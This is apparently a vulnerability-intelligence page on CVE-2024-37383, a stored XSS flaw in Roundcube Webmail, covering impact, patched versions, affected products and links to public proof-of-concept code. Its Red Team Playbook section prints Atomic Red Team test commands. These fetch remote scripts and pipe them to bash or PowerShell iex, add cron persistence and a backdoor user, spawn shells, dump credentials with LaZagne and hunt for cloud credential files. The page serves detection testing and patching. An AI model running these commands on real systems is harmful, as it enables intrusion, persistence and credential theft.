CVE-2024-37383
Overview
This vulnerability is a cross-site scripting (XSS) flaw rooted in improper sanitization of SVG animate attributes within the Roundcube Webmail interface. The affected component processes SVG content embedded in user inputs without adequate validation, allowing malicious scripts to be injected and executed in the victim's browser context. The flaw exists in versions prior to 1.5.7 and 1.6.7 of Roundcube Webmail, specifically impacting the rendering of SVG animations.
Vulnerability Description
Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 allows XSS via SVG animate attributes.
Impact
An attacker can execute arbitrary scripts in the context of a victim's browser session when the malicious SVG content is rendered, enabling theft of session cookies, user credentials, or performing actions on behalf of the victim within the webmail interface. Exploitation requires that the victim opens or previews a specially crafted message containing the malicious SVG payload. This can lead to unauthorized access to sensitive email data and potential account compromise, impacting confidentiality and user trust in the affected webmail deployment.
Solution
Users should upgrade Roundcube Webmail to version 1.5.7 or 1.6.7 or later, where this XSS vulnerability has been addressed. The official patches are documented in the Roundcube GitHub release notes at https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 and https://github.com/roundcube/roundcubemail/releases/tag/1.5.7. Administrators are advised to follow the vendor's upgrade procedures as outlined in these release notes to ensure complete remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Roundcube Webmail, specifically regarding its handling of SVG animate attributes, presents a significant risk due to its potential for cross-site scripting (XSS) attacks. This flaw allows malicious actors to inject scripts into web pages viewed by users, exploiting the SVG (Scalable Vector Graphics) format. The issue arises from inadequate sanitization of user input, particularly in the context of SVG files, which can include animate attributes that are not properly validated. As a result, an attacker can craft a specially designed SVG file containing malicious JavaScript, which, when rendered in a user's browser, can execute arbitrary code with the privileges of the user.
The attack vectors for this vulnerability are primarily centered around social engineering and phishing tactics. An attacker could send an email containing a link to a malicious SVG file or embed the SVG directly within an email. When the unsuspecting user opens the email or clicks on the link, the malicious script executes, potentially leading to session hijacking, data theft, or further exploitation of the user's environment. Additionally, the vulnerability could be exploited in web applications that allow users to upload SVG files without sufficient validation, thereby broadening the attack surface. This makes it crucial for organizations using Roundcube Webmail to be aware of the risk, as the exploitation can occur without any direct interaction with the attacker.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Roundcube Webmail for communication. Successful exploitation could lead to unauthorized access to sensitive information, including user credentials, personal data, and corporate communications. The business risks associated with such an incident include reputational damage, loss of customer trust, regulatory penalties, and potential financial losses due to data breaches. Furthermore, the ease of exploitation increases the likelihood of attacks, making it imperative for organizations to prioritize the remediation of this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is essential to update Roundcube Webmail to the latest version, where the vulnerability has been addressed. Regular patch management practices should be enforced to ensure that all software components are up-to-date. Additionally, organizations should employ web application firewalls (WAFs) that can help filter out malicious requests and scripts before they reach the application layer. User education is also critical; training employees to recognize phishing attempts and suspicious links can significantly reduce the risk of exploitation.
In conclusion, the vulnerability in Roundcube Webmail related to SVG animate attributes poses a notable threat due to its potential for XSS attacks. The ease of exploitation, combined with the potential for significant business impact, necessitates immediate attention from organizations using this webmail service. By implementing robust detection and mitigation strategies, including timely updates and user training, organizations can significantly reduce their risk exposure and protect their sensitive information from malicious actors.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) | AmirZargham | webapps | php | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
bartfroklage/CVE-2024-37383-POC
Proof of concept for CVE-2024-37383
|
bartfroklage | 5 | 1 | 2024-10-24 | View |
|
amirzargham/CVE-2024-37383-exploit
Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
|
amirzargham | 0 | 1 | 2024-11-03 | View |
|
hyungin0505/CVE-2024-37383_PoC
CVE-2024-37383 Proof of Concept
|
hyungin0505 | 0 | 0 | 2026-02-14 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-37383 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/commit/43aaaa528646877789ec028d87924ba1accf5242 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/releases/tag/1.5.7 |
| lists.debian.org |
GitHub CVE
mailing-list
|
https://lists.debian.org/debian-lts-announce/2024/06/msg00008.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-37383 |